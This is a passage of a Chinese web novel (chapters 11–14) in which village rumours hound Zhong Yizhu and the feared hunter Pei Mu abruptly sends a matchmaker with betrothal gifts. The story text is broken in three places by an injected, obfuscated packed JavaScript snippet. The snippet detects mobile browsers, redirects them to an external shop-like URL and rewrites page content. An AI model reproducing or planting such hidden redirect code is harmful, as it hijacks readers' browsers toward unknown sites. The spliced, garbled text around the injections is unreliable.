“还不是村里那些长舌的，今日张铁牛他娘张桂花请了媒人去钟家说亲，钟家没答应，张桂花便到处编排说钟家早早和他家说好了，临了又因为嫌聘礼少反悔，传开之后村里都在说钟夫人不厚道，钟家小哥儿不知足。” “可钟家压根没有和谁说定亲事，那张桂花分明是看着钟家昨日采买了不少东西怕被人抢占先机，才急着去请媒人提亲，被拒绝了便胡乱编排坏人名声，村里虽也有人质疑，可张桂花说得有鼻子有眼，骗得许多人信了，传得可难听了。” 陈小容夫夫俩因为平时跟裴穆走得近，在村里也没什么近亲，向来也是村里被编排的常客。 他烦透了那群整天嚼舌根的，虽然这次受害的对象钟家小哥儿他并不认识，听桃哥儿说来倒也颇为共情。 桃哥儿有心帮忙，可这种无凭无据的谣言向来最是不好澄清的，钟家没有强势的亲戚能站出来顶回去，自然只能呈现出一边倒的架势，他求了爹娘也没什么好的办法，便只有来找好朋友倾诉发泄一番。 陈小容想起张桂花之前编排他嫁来一年还没身孕就是被裴穆给克的，又兀自气了一通，过了一会儿才想起来要问裴穆问钟家的事是有什么计较，裴穆却已经对他点了点头，应了声知道，转身往山脚的房子走去。 陈小容便也顾不上问了，他喊了声：“晚些来吃饭啊。” 裴穆挥了挥手示意知道，身影很快便走远了。 …… 钟意竹连着在家里闷了数日，一来是为了防范赖老二来找麻烦，二来也是因为村里的流言。 那日裴穆问了他是谁伤的他，之后也没什么音讯，他心里觉得裴穆不会无缘无故这样问，又很难想象裴穆有什么理由会去帮他解决麻烦，因此每日仍是提心吊胆，担忧着梦魇会重演，或是以更可怕的方式降临。 钟意竹是不怎么在意张桂花对他的造谣的，他只气愤张桂花信口抹黑娘亲言而无信贪财好利，孙芸娘不让他出门，他便乖乖听话留在家里，每日做些绣活，沉默地帮着劈柴做饭。 孙芸娘又恨又急，一连数日都在忧心地想办法找出路，回过神时才发现钟意竹的不对。 这日天光大好，孙芸娘这些时日已把能想到的能做的都做了，左右焦虑无解，她想到前些时日从镇上买回来的布料，便翻出来打算把衣裳做了。 她叫来钟意竹给他量尺，一比上去立时就觉得不对。 钟意竹这些时日不出门，整日里总爱穿一身素色的长衫，人在衣中晃，看不出身形的变化，可这短短数日，他竟是瘦得连肋骨都能清楚摸到了。 少年本就消瘦，如今看来，简直有些形销骨立了。 孙芸娘拉着钟意竹的胳膊，想要说话却先哽住了喉咙，钟意竹只是疑惑地问她：“娘，怎么了？” 孙芸娘闭了闭眼，眼泪蜿蜒而下，字字泣血。 “你真是要了为娘的命了……” 钟意竹神情怔了怔，眼里的神采也渐渐黯淡下来。 他努力想装作没事的样子，动了动嘴角，却最终也没能说出话来。 这些天来，他早被自责和自厌压垮，一天比一天消沉，意志被蚕食，他想自救，却被铺天盖地的情绪裹住，喘不过气来。 他拖累娘亲不能安享余生就罢了，甚至如今还要被村里人编排造谣，他却什么也做不了，他甚至胆小到不敢靠近屋里的那张床，缩在墙角睡了很多天，他一无是处，他的存在对于娘亲来说就是一个负累。 孙芸娘用力把钟意竹抱进怀里，她泪眼朦胧地看向头顶晴好的天，在心底绝望地责问，是不是当真连一条活路都不愿给他们母子。 晚些时候，孙芸娘带着家里的粮食出了趟门，说要去换一块肉。 院门开合，钟意竹静静地在堂屋门槛上坐了一阵子，有鸟雀落在院中晾晒的菜干上，他起身前去驱赶，却突然听见几声敲门声。 钟意竹迟疑地看向后院，不知是不是自己听错了，过了几息，敲门声再次响起，钟意竹宛若惊弓之鸟，匆忙跑进堂屋拿了柴刀。 他原本已经搭上了堂屋的门准备关门上锁，却顿住了动作。 他不知从哪来的勇气，突然生出一个疯狂的想法——只要他把那个混蛋砍死，他的梦魇就结束了，到时候他赔一条命，这样娘亲也就没有他这个拖累了。 钟意竹握着柴刀，一步一步地往后门走去，他紧张得连牙齿都在打颤，却硬是咬紧了牙，稳住了拿刀的手，在开门的瞬间，猛地便要劈去。 门外却并不是那个让他日夜在恐惧折磨中不得安枕的人。 裴穆怎么也没想到，自己做了半天好事，等来的会是这样的“招待”，他身手敏捷地往后一闪退到安全距离，抬眼时眼神狠厉，却在看清钟意竹模样的瞬间，止住了神情。 眼前的人和上次见到的时候相比，几乎判若两人，原本鲜活漂亮的模样像是被什么东西蛀空了一般，只留下一个枯萎的空壳。 仅仅半个月而已…… 裴穆忍不住皱起眉头：“你怎么了？” 钟意竹看清是他，神情有些怔愣，他像绷紧了的弦，浑身僵硬发酸，连放下刀的动作都做得困难。 对上裴穆的视线，他下意识躲闪开，摇了摇头：“没怎么。” 他缓缓放下刀，想掩饰几句又觉得没什么必要，便只问了句：“有什么事吗？” 裴穆顿了顿，从怀里摸出一个纸包递给钟意竹。 见钟意竹迟疑着没有接，他难得耐心解释：“是欺负你那混混的牙，他不敢再来找你们了。” 钟意竹闻言，更是连忙把手缩到了背后，浑身的抗拒溢于言表。 半晌，钟意竹才反应过来：“是你把他打伤了？”所以对方这些天才始终没有出现。 裴穆点了点头，见他实在不想要，便随随意把纸包往墙角一扔：“就算他伤好了也不会再来，放心好了。” 钟意竹视线随着纸包转过去，又闻声转回来，怔怔地应声道谢，他如坠梦中，忍不住问：“为什么帮我？” 裴穆没应。 他看着钟意竹的模样，沉默片刻，把刚从镇上媒婆手里取到的名册塞回了怀里，只道：“明日巳时，在你家等我。” …… 裴穆来到王平安家时，他正在院子里修整农具。 早稻即将进入收割的时节，他家就两口人没个轮换，若是农具坏了可是要耽误大事的。 见裴穆进来，他也没特意招呼，只让他随意捡张凳子坐。 他知道裴穆不是闲来无事会串门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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王平安一边感动于裴穆对他们夫夫俩的信任一边心焦，村里自然也有那早就定好要结亲的人家会把提亲和下聘同时进行，可裴穆和钟家八竿子打不着的关系，裴穆在村里的名声又那样要命，这如何相提并论？ 他自是觉得自家兄弟千好万好的，可旁人却只被流言蒙蔽，眼瞎心盲。 裴穆这样认真郑重，他既担心钟家小哥儿拒绝亲事让裴穆伤心，又担心裴穆因此被村里人嘲笑，到晚间睡觉时还在跟陈小容念叨，希望老天保佑那钟家小哥儿昏了头应下这门亲，明天一切顺顺利利。 而被他念叨的当事人本人却是体会不到他这种紧张心绪的。 今晚月色很亮，裴穆正借着月光在院子里硝制毛皮。 夏日草木茂盛，猎物丰富，他原本打算歇一天就上山的，如今既然有事耽搁，他便打算先把之前积下的毛皮鞣制好，存起来等到冬日价格好时再一并出手。 灶上烧着锅，他添了把柴，想到什么，从怀里拿出早上才从媒人那取到的册子，扔进了火堆。 媒人费心寻摸了十几天编出的镇上适宜婚配的男子名册，就这么付之一炬。 裴穆抱臂靠在灶房门边，抬头看着天上的圆盘。 钟意竹今日的模样不知为何让他突然想起了他从未谋面的亲娘，一个生命的枯萎是很容易的事，毕竟不是谁都像他一样命硬。 镇上的媒人虽说靠谱一些，可如果又遇到一个裴松呢？ 钟意竹既选了他，他便帮他最后一把。 儿时的那包桂花糕说重也重，说轻也轻，可他终究不能眼睁睁看着人被逼死。 月上中天，裴穆把一切收拾好，躺到床上，片刻后，又起身把王平安叮嘱了十遍让他换上的新衣放到了床边，才闭眼睡过去。 12. 第 12 章 钟意竹睁开眼时，天光已经亮了。 许久没有睡好，他这一觉睡得还算沉，他动了动僵硬的脖子，起身时手掌按住了柴刀的刀柄，是他这些时日下来已经十分熟悉的触感。 即使裴穆跟他说了赖老二不会再来，他也依旧没回到床上去睡，他把薄被放回床上，穿好衣裳开门出去。 钟意竹昨日已经跟孙芸娘转述过裴穆的话，裴穆虽然没明说，但话里的意思双方心里都清楚。 孙芸娘这些时日相看人家没看到满意的不说，反而被不少人的嘴脸气得够呛，她写给舅舅家的信也完全没有回音，昨日她去换肉，村里的柳夫郎拉着她说了一通，主要意思便是他们家不嫌弃竹哥儿愿意娶他过门，只是公爹婆母那关不好过。 “毕竟你也知道，竹哥儿现在在村里这名声实在是……”柳夫郎先是一脸为难，见孙芸娘皱眉，又善解人意道，“我知道那张桂花是胡乱说的，可公婆不信，若是这聘礼上面能减去一些，也就破了张桂花的谎话，公婆那里我再说说好话，这事便也就成了。” 他一副为了钟意竹着想的模样，却把她家竹哥儿贬得像求着他家娶的小哥儿一般，孙芸娘早看出柳夫郎这人面善心黑，却也没意料到他会在这种时候出来趁火打劫。 孙芸娘气得胸口疼，硬邦邦地回了句“让你公婆放心，我家小哥儿绝不会进你们家的门。”便快步离开，等回到家，她听钟意竹说起裴穆已经收拾了赖老二，又说好明日上门，对比之下瞬间觉得裴穆比起她相看过的那些人都要靠谱顺眼得多，之前的几分抵触也消散了。 重点是她家小哥儿显然是愿意的，钟意竹的精神头比起她出门前要好了许多，虽说私下相见不合礼数，可情况特殊，她也便不计较这些了。 也罢，竹哥儿的眼光大抵是比她要好的，她总不能扣着竹哥儿在家，看他这样不说缘由地日渐消瘦下去，人哪能经得住这么熬呢。 既然确定了要结这门亲，孙芸娘也不含糊，一大早便起来准备。 见钟意竹从房里出来，她看了眼便道：“怎么还是穿这身衣裳，去换身鲜亮些的，我记得不是有身浅杏色的单衣，快去换来让娘看看。” 孙芸娘今日穿了身体面的衣裳，连头发都仔细梳得端庄，钟意竹见状，突然便对即将要发生的事有了实感。 他回屋换上孙芸娘指定的那身单衣，洗漱完后又重新梳了遍头发，他看着水面上的倒影，连自己也不知道此刻应当是什么心情。 他心里有太多疑问，可不管怎么说，裴穆此举都帮他在困住自己的壳上敲了个缺口，让他得以喘息挣脱，他唯有感激。 头顶的天是一片无垠的蓝，晨间的柳山村总是醒得很早，各家各户都冒着炊烟。 钟意竹后知后觉地感到紧张。 孙芸娘从堂屋出来便见钟意竹正对着墙角发呆，再怎么说也是个未出阁的小哥儿，不管这桩亲事是为了什么，真要定亲了怎么可能毫无波澜？ 孙芸娘叫过钟意竹，让他回去屋里裁衣，找些事情做总好过胡思乱想。 她的竹哥儿就是太天真善良，才会如此多思多虑，是他们做父母的没能保护好他。 孙芸娘没去追问钟意竹这些日子到底怎么了，若是愿意说，竹哥儿早就说了，她不想给竹哥儿再施加哪怕一点点压力，只要确认竹哥儿的状态正在变好，她便已是万分感激了。 孙芸娘在外面打扫宅子，过了一会儿，钟意竹也抱着布料出来，说要先给她做她的那身衣裳。 孙芸娘心里熨帖，连眉眼都舒展开来，干着活也觉得开心。 他们娘俩都爱干净，又没养家禽，屋子本就整洁，这样一收拾，更是光洁亮丽到不像一个农家小院。 钟家老宅这边一片和谐温馨，村口的柳家却是鸡飞狗跳。 柳夫郎从张桂花提亲被拒胡乱造谣攀咬开始就已经盘算好了要和钟家结亲的事，她见孙芸娘这些时日焦头烂额，便越发胸有成竹起来。 一晃半个月过去，他觉得时机差不多成熟了，便特意留意着孙芸娘的行踪，找准机会上去跟她提了结亲的事。 他信心满满，自以为是雪中送炭，孙芸娘母子俩该感激他才是，怎么也没料想到孙芸娘会半点不留情面地拒绝他。 他一路憋着气回到家，刚把结果说了还没来得及撒气骂人，他儿子先不干了。 “阿爹，你说好这次十拿九稳的，奶奶都看好日子了，我不管，我就要娶！” 柳夫郎的夫家姓李，李坚是家里的小儿子，之前送去隔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081394|195332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁村的夫子家念了半年书，没学出什么名堂，反而养了一身的懒骨头。 钟意竹刚到柳山村他就想着要搭上钟家去府城过好日子，后面算盘落空后他倒也没再提，柳夫郎知道钟意竹有地之后又动了心思，也是因为他深知自家儿子习性，与其取个寻常农户家的姑娘哥儿，不如娶个有田地能生钱的，这样就算他们走后几兄弟分家，小儿子也不至于没个嚼头。 柳夫郎的盘算他在一开始时就跟家里人都通过气，李坚都做好了娶了夫郎就再也不用干活的准备，乍一听闻钟家不答应，瞬间像个炮仗似的炸开了。 柳夫郎一口气憋在胸口，更恨孙芸娘不识抬举害他让儿子失望，连忙安抚李坚说会给他再寻一门好亲，柳夫郎的公婆见小孙子婚事泡汤，心疼得跟什么似的，在一旁数落起了柳夫郎的不是，说他不该省聘礼银子，贪小失大。 柳夫郎落了个两头不是人，三面不讨好，忍了半晌还是没忍住。 明明就是公婆非要让他压聘礼银子的，说名声不好的小哥儿凭什么和那些名声好又能干的小哥儿拿一样的聘礼，就该少给一些，如今事情办砸了他们反而全推到他头上来了，要是按照他的计划说不定孙芸娘早同意了！ 柳夫郎本就不是个多好性子的人，当即就阴一句阳一句地顶了回去，他公婆也不是好相与的，很快就骂了起来。 为这件事，柳夫郎家从昨日闹到今日，邻里的亲戚前来劝和，张桂花不知从哪听到消息跑来看热闹，站在人群里笑得满脸幸灾乐祸。 柳夫郎家在村口，院子里和门口都聚了不少人，十分引人注目。 “叨扰一下，请问村里钟家往哪里走，劳烦您给我指个路。” 一个媒人打扮的夫郎拉着满脸带笑的张桂花问路，神色看上去有些急切。 “哟，这是又有人来提亲了？”旁边的人惊奇地叹了句，村里就一户姓钟的，这里面还在因为钟家小哥儿吵呢，谁成想外面就又来人奔着钟家去了。 有人看他着急给他指了路，媒人道了声谢正要走，就被面前的张桂花拉住了胳膊：“是哪家请你来提亲的？咱们柳山村的还是镇上的？” 媒人看了眼天色，连忙抽出胳膊应了句“是你们柳山村的裴家。”便风风火火地走了。 13.第 13 章 张桂花原本认出来人是垂柳镇口碑最好的冯媒人，心下刚一紧，以为是镇上哪户人家要和钟家结亲，便听冯媒人说是村里裴家。 她瞬间放下心来，就说那狐媚子名声都毁成这样了哪来那么好命，不过话又说回来，裴家居然舍得请镇上的媒人？为了那么个小哥儿？ 旁人显然也有人和她是同样的想法，窸窸窣窣地议论着。 这个说裴木匠家本就殷实，愿意给孩子娶亲多花些钱也是正当，那个点着头附和着说田氏最疼裴金，怕是当真下了血本，张桂花则是翻着白眼讽刺：“实心疯了不成？花大价钱和这种人家结亲。再说了，人家府城来的小哥儿可不一定看得上呢……” 众人聊得热闹，人堆里突然有人插了句：“谁说裴家就只有裴木匠家了，西边山脚下不是还有个裴穆？” 人群静了一下。 “那可真说不准，按理说早就到成亲的年纪了……” 裴穆今年已经满了十九，村里和他一般大的有些连娃娃都有了，他孤家寡人住在山脚，村里自是说什么的都有。 说得最多的便是他命硬，姑娘小哥儿嫁过去连怎么被克死的都不知道。 他刚回村那阵，村里不少人都猜他手里有钱，也不是没有人觊觎过，想不顾儿女死活把人嫁过去往娘家掏钱的，后面见他对自家爹娘尚且如此狠心抠门，便连忙歇了心思。 说来也怪，他回村一年多，就算名声再恶，只要手里有钱，真想结亲总是能结上的，一直不结亲，村里人当然不会觉得是他不想，那便只能是他不能。 一来二去，村里也没人觉得他有钱了，又穷又恶，手里连块地都没有，怕是打猎手艺也不如何，家里有待嫁姑娘哥儿的都躲他远远的，生怕被沾上。 虽说按照大伙儿的认知，裴穆不可能请得起镇上的媒人，可万一呢？ 那冯媒人就说了个裴家，勾得众人抓心挠肝的，瞬间觉得这边的热闹没什么意思了，对视一眼便三三两两地散开。 只是仔细一瞧，所有人走的都是同一个方向，都紧着要去看到底是谁要向钟家提亲。 张桂花冲在最前面，铆足了劲要去看笑话，若真是那煞星，她简直憋不住要笑出声，那钟家小哥儿可算是倒了大霉了。 等到了地方，张桂花定睛一看，就见裴穆和王平安夫夫都拎着系红布的盒子，正和冯媒人一起踏进钟家大门。 “这……” 跟在她身后的众人都呆了呆，没想到刚走到这里谜底就直接揭晓，看上钟家小哥儿的竟真的不是裴木匠家，而是裴穆！ 而且看这架势，冯媒人压根不是来提亲的，长辈和男方一起登门，分明是下聘的礼数！ 连定亲的消息都没听说，直接便上门下聘，行事霸道成这样，恐怕根本就没打算给对方拒绝的机会。 不管是哪一条都超出了大家的认知，众人干脆也不走了，裴穆凶归凶，总不能把他们全打了，这难得的热闹不看，回去得心痒好几天。 人群里有像张桂花那样幸灾乐祸的，有单纯想看热闹的，还有担心真闹出事来，赶着跑去找村长的，自顾自便凑出了一台戏。 而在钟家堂屋里，气氛却和他们想象中的截然不同。 冯媒人是不知道村里的那些往事流言的，他见裴穆高大英俊，出手买聘礼换礼金都毫不含糊，之前还花了大价钱给家中弟弟找适婚男子的备选，对他印象自是极好的。 裴穆一来就说的下聘，冯媒人也下意识便默认了裴穆和对方是早就说好的。 他说了那么些年亲，自认看人能看八分，这样的汉子在这十里八乡打着灯笼都难寻，想结亲简直轻而易举。 因此对于今日下聘一事他从一开始就以为只是走个过场，不可能有什么波折。 比起心中忐忑硬撑出笑脸的王平安夫夫，他脸上的喜气洋洋完全不掺一丝水分。 冯媒人热情地握着孙芸娘的手说着夸赞的吉祥话，等到了堂屋前看见钟意竹，他更是眼前一亮，瞬间觉得这桩亲事真是般配极了。 难怪裴家郎君昨日匆匆找他今日便要上门下聘呢，这么标致的小哥儿谁看了不眼热？ 他看了看裴穆，又看了看钟意竹，这可当真是他说过的最养眼的一对了。 裴穆的脚步落在最后，他的眼神在钟意竹身上定了定，没有多看，在钟意竹转身回屋前便收回了视线。 王平安夫夫也是第一次见钟意竹，看清小哥儿的样貌，两人瞬间都觉得裴穆这撒癔症一般的行为合理起来，两人恍然地想，原来他这一年多不说亲不是哪里有问题，只是眼光高没遇上喜欢的。 想完又开始愁，怕对方小哥儿看不上裴穆。 王平安眼睁睁看着裴穆黑风煞气地往那一站，也没个笑脸，更是觉得今天这事八成要黄。 冯媒人哪知道他们内心的想法，他见两方都有些僵硬，还以为只是因为不熟悉流程有些紧张，一进堂屋便招呼着双方坐了。 小哥儿见一面便回了里屋，这是礼数，谈亲事时小哥儿是不便在场的，冯媒人笑眯眯地看着孙芸娘。 “夫人是只有这一个小哥儿吧，我要是有这么可人的小哥儿，我也是怎么都舍不得的，可正是因为珍重，才更要挑一个靠得住的哥儿婿呢。” 孙芸娘看向坐在另一边的裴穆，她听过许多传言，如今也是第一次见到人，男人长相出众，身形挺拔，若没有那些前事，应当也是极受姑娘小哥儿喜欢的类型。 她这两年物色过太多人选，有文质彬彬的读书人，有擅长买卖的商户子，甚至还有顺武镖局的少镖头，她怎么也没想到，挑到最后，小哥儿的余生会系于这样一人身上。 复杂的身世过往，危险的营生和身手，还有那些骇人的传言……可偏偏也是他，救了竹哥儿，解决了让他们不得安枕的流氓混混。 她在心里叹了声造化弄人，既然已经答应了，她也并不拿乔，顺着冯媒人的话说了下去。 “正是这样，我也盼着多留竹哥儿两年，可儿大不中留，我这当娘的也不能因为舍不得便耽搁了小哥儿的亲事。” 冯媒人听出她的话音，脸上更是笑开花，既是双方都有意，这件事办起来便快了。 他利索地报完聘礼和聘金，笑着吹捧：“夫人应当也有所了解，这在村里绝对算是头一档的聘礼了，裴家郎君这求娶的诚意可当真是足足的，夫人尽管放心，小哥儿嫁过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082961|195332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有享福的份。” 这下倒是轮到孙芸娘有些意外，她本以为钟意竹既然都那样说了，裴穆这边应当不会给多少聘礼的。 况且按照村里人的说法，裴穆应当也没什么银子才是…… 村里求娶小哥儿的聘金一般在一两到五两之间，聘礼则多是布匹糕点等，裴穆不仅给的五两聘金，聘礼也是挑了一整匹布料，好几盒点心瓜果。 她这是还不知道冯媒人是镇上的，光是喜钱便要比其他媒人多上一百文。 如此孙芸娘也挑不出什么不是了，她象征性地推辞一番以示矜持，这桩亲事便算是定下了。 钟意竹说是待在自己屋子里，只是堂屋和他的屋子就隔着一扇门，堂屋里的说话声自然是清晰可闻。 他抱着腿坐在衣箱上，听着娘亲和媒人三言两语便议定了自己的亲事，面颊有些控制不住地发烫。 他竟是当真自己给自己定了门亲。 本以为这便算是结束了，钟意竹刚从衣箱上起身，便听见门外一直没怎么说话的裴穆突然开口：“伯母若是同意的话，不如今日就定好成亲的日子？” 不止是钟意竹呆了呆，跟裴穆一起过来的王平安夫夫更是猛地转头看向他，眼睛几乎要瞪出来。 前面便已经把提亲的时间省了，能顺利谈成亲事已经是老天保佑，后面难道不该双方再商量着慢慢来？怎么能急成这样？！ 钟家要是觉得这个哥儿婿太过急切不靠谱再反悔怎么办！ 还是冯媒人见多识广，只愣了下就笑开了，立马接过话。 “其实我看也挺好，裴家郎君虚岁都二十了，小哥儿实岁也快满十八了，确实也不该像定亲早的那些一样还要等个三月五月一年半载的。” 冯媒人拿的是裴穆的银子，听出他的意思，自然要尽力帮忙争取。 他在脑海里翻了下最近两月的吉日：“最近的吉日就在半个月后，正好到时候庄稼也差不多收完了，适合办喜事，若是嫌早的话，那就只有将近两个月之后了，七月廿九。” 村里人家通常都不会选择庄稼收成的时候办喜事，就算自家不用收割，可到时候家家户户都忙着收庄稼，连个掌勺的厨娘都不好请，更别说宾客了。 下个月也没什么靠前的吉日，冯媒人倒也想胡诌一个，可要是害得人家亲事不顺，那就是他的大罪过了。 裴穆不出所料选的半月之后，冯媒人试探地看向孙芸娘，有些出乎他意料的是，孙芸娘短暂地犹豫之后也点头同意了。 双方都满意，那便再好不过了。 冯媒人这桩媒做得轻松，走出门时脚步轻快，吉祥话一箩筐一箩筐地往外倒，说得仿佛这真是桩百年难遇的好姻缘。 裴穆抬眼看着远处的山林，他只想让这件事尽快结束，然后回到他自己的生活节奏里，至于旁人怎么想，那便是旁人的事了。 临出院门前，裴穆下意识往西屋扫了一眼，窗边浅杏色的身影一闪而过，让人想起树梢上被惊动的鸟雀。 漂亮的鸟雀会引人觊觎，被抓进笼里观赏取乐，他可以把这只鸟雀罩进自己的地盘，让他有一个安稳栖息的地方。 不过也仅此而已了。 14.第 14 章 钟家老宅外面，看热闹的村民不停嘴地议论着，都在猜测这门亲事到底能不能成。 觉得能成的占了多数，原因也很简单，裴穆看上去是认准了这门亲非结不可，而钟家孤儿寡母的，又怎么敢拒绝裴穆这煞星。 另一部分人则是觉得钟家母子再落魄也是从府城来的，和他们地里人不同，或许不怕裴穆呢？ 众人你一言我一语说得起劲，钟意竹最近正处于八卦中心自不必说，裴穆身上的谈资比起钟意竹来说更是有过之而无不及，这两个人突然凑到一处，简直是让人好奇到宁愿挨顿打也想去听墙角的地步。 众人都是说说而已，自然是没人真的去听墙角，不过这顿打倒是有人替他们领了。 裴穆一行人从钟家院子出来的时候，张桂花正在和柳夫郎吵架。 起因是李坚听说又有人向钟家提亲，觉得自己看好的亲事被抢了，非要让他阿爹和爷奶帮他抢回来。 一行人拉拉扯扯地过来，等到了地方才知道提亲的是裴穆。 柳夫郎和公婆都打起了退堂鼓，架也不吵了，立场一致地劝李坚算了，李坚却不依不饶。 他从小到大都是躲在家人身后，有什么事也不用他去面对，他只管提要求就行。 因此虽然他也怵裴穆，却还是不甘心唾手可得的好日子就这么没了，村里人都说裴穆穷得娶不起亲，定然也出不起多少聘礼，那他们多加点不就是了？ 柳夫郎再溺爱儿子也被他这一通无理取闹闹得心肝疼，且不说按照昨日孙芸娘的说法他家是彻底没戏了，就算没有这一出，他们家老的老弱的弱，又怎么敢跟裴穆那煞星争个高低？ 公婆还在顺着李坚的话哄，柳夫郎如今却是悔得肠子都青了，他烦躁地撇开眼，却正好看见张桂花在一旁笑着看戏，想到这一连串事情的起因，他满肚子的气瞬间找到了出口。 “笑什么笑，自家儿子不出息没被看上就造谣人家嫌聘礼少，还好意思在这里笑，不要脸的烂货，呸。” 张桂花笑容僵在脸上，变了脸色回击道：“说谁呢你？我造什么谣了，你家不也被拒了？都说了人家瞧不上我们村户人家，你偏要觍着脸凑上去，还怪上我了？” 柳夫郎受了一天多的夹板气，脸也丢了，亲事也没了，儿子还在旁边不省心地胡闹，此时终于有了发泄的口子，他气得也顾不上别的，直接撕破了脸面。 “说的就是你，钟家何时答应过和你家结亲？你有证据吗？你眼巴巴盯着人家口袋里的东西，当人是傻子？还给自己脸上贴金说给了五两聘金钟家嫌低，你舍得给五两吗抠货？自家得不到就败坏别人名声，小心嘴角生疮。” 张桂花没想到看着热闹火烧到自己身上来了，柳夫郎气狠了宁愿把自家骂进去也要戳开她的小心思，偏偏他说的句句都是事实。 张桂花编排了钟家这许多天，说得自己都要信了，如今见众人都把目光投向自己，她顿时有些心虚。 她慌忙加大音量，浑着往别的地方扯：“我败坏谁名声了？那小哥儿真是个好的会被从府城赶来村里？装得清高，若不是被我说中了怎么会连门都不敢出？要我说那就是个狐媚子……哎哟！” 张桂花话还没说完，额上猛地一痛，惊慌之下伸手往旁边拽了一把才没跌倒。 她惊魂未定地伸手摸了摸额头，又呲牙咧嘴地哀声叫起来，好大一个包！ “谁打我？！”张桂花气得不轻，恶狠狠地瞪向打她的东西飞来的方向。 裴穆神色自若地收回手，也没掩藏自己的动作，他淡淡地抬眼，迎上张桂花的眼神。 张桂花没想到视线的尽头会是裴穆这煞星，她心里一抖，连忙撇开眼，气势也瞬间弱了下来。 “这是怎么了？”冯媒人一出院门便看见外面围了不少人像是在吵架，他还没来得及分辨出是在吵什么就看到有人捂着额头在叫，一时疑惑极了。 众人都被柳夫郎和张桂花吸引了注意，直到这时才发现钟家大门打开，裴穆一行人都走了出来。 大伙儿也顾不上关注吵架了，甚至连张桂花挨砸也没几个人注意，所有人瞬间都把目光全部集中到了钟宅门口的几人身上。 裴穆脸上看不出什么来，王平安夫夫则是一脸的恍惚茫然，孙芸娘的神色倒是平和，可这样的表现却显然与众人的猜测相去甚远。 有胆子大的耐不住好奇，混在人群里喊了声：“冯媒人，这亲事说成了吗？” 冯媒人顿时也不管有没有人吵架了，换上一脸喜气笑着道：“成了成了，天作的好姻缘怎么会不成？” “……”众人面面相觑，不愧是镇上最厉害的媒人，这睁眼说瞎话的能耐也不是寻常人能比得上的。 可不管他怎么巧舌如簧，定亲的事也不是随口能乱说的，所以裴穆那煞星和钟家小哥儿竟是当真定成了亲？！ 知道了这惊天八卦，众人哪还有闲心继续待在这里，连忙各自找借口就要散去，柳夫郎一家溜得最快，李坚闹得虽凶，见裴穆不由分说便出手砸人，当即就怂了，被阿爹哄着说之后再寻好亲事便夹着尾巴跑了。 张桂花原本还站在原地夸张地捂着头哀叫，见情况不对，也忙不迭转身要跑，要是村里人都走了裴穆再来打她怎么办？她哪里遭得住。 她虽然是在说钟意竹坏话的时候被打的，却也并不觉得裴穆是在给钟意竹出气，男人都好面子，他如今定下了钟家小哥儿，护的明明是自己的脸面。 毕竟那可是不认爹娘还把亲兄弟腿打折的人，冷心冷肺的，还能有什么绵绵情意不成？ 留在原地的冯媒人一头雾水，不明白村民们怎么会是这样的反应，不道声恭喜就算了，反而个个像见了什么稀罕事一样。 不过亲事已经说成，这些也不是他该管的，他看了眼天色，正要和裴穆一行人道别，却突然看见一名老妪带着好几个人往这边走来。 见着他身旁的裴穆，老妪的双眼猛然迸发出强烈的恨意，让人心惊。 她伸手指着裴穆，身体里积聚的情绪让她连手都在抖，她喘着气，对着身旁的中年男人大声指控。 “村长你也听见了！裴穆那杂种强逼钟家小哥儿结亲，六亲不认，欺男霸女，这种灾星就应该赶出我们村子！” 音调拔高的尾声断续破开，像尖尖的刺插进耳朵中，让人不自觉便想皱眉。 冯媒人虽然没摸清楚状况，却还是第一时间皱眉反驳。 “这位阿婆不要血口喷人，明明裴郎君是请的正经媒人下聘，双方同意结的亲，怎么到你嘴里却成了欺男霸女了？” “呸！”老妪猛地对着冯媒人喷出一口唾沫，“你是他花钱请的自然是向着他说话，收这种灾星的钱也不怕遭报应！” 冯媒人被裴穆及时往后拉了一把才没被唾沫沾到，他气得脸色涨红，退了两步骂道：“疯婆子，真是个疯婆子。” 裴穆冷着脸站在那里，连个多余的眼神都欠奉，王豆婆反而被他这个模样刺激到，恨不得趴上去吃他的肉喝他的血似的，嘴里恶毒地咒骂着。 因着村长的到来，本来要散开的人群又重新聚拢回来，看见模样疯癫的王豆婆，不少人都露出了并不意外的神色，有新嫁进来的媳妇不懂，旁边的人便小声跟她说起双方的恩怨。 元景二十九年，朝廷征兵，每户凡有大于一名适龄男子的均需出一人入伍，对于村里每户来说都是如此，征兵的范围是十四到五十岁的男子，若不想出人，也可以以钱代役。 裴穆便是那一年被征去的，他刚满十四，才到起征门槛，裴家说他刑克父母，该去军营里磨一下一身煞气，便硬是省了五两银子，把他推了出去。 裴家是有钱不出却出人，而村里其他人家大多是不愿让家人去服役的，都知道边关打得凶，去了不知还有没有命活着回来，就算侥幸留了条命，也不知哪年才能回来。 柳山村大多数人家都咬牙凑了银钱抵兵役，还有十几户要么实在穷苦凑不出钱，要么人口太多宁愿出人。 王豆婆家男丁不多，一个懒汉儿子刘大山，一个孙子刘石头，恰好都卡在了征兵年龄内，因此她家也需要出一个人。 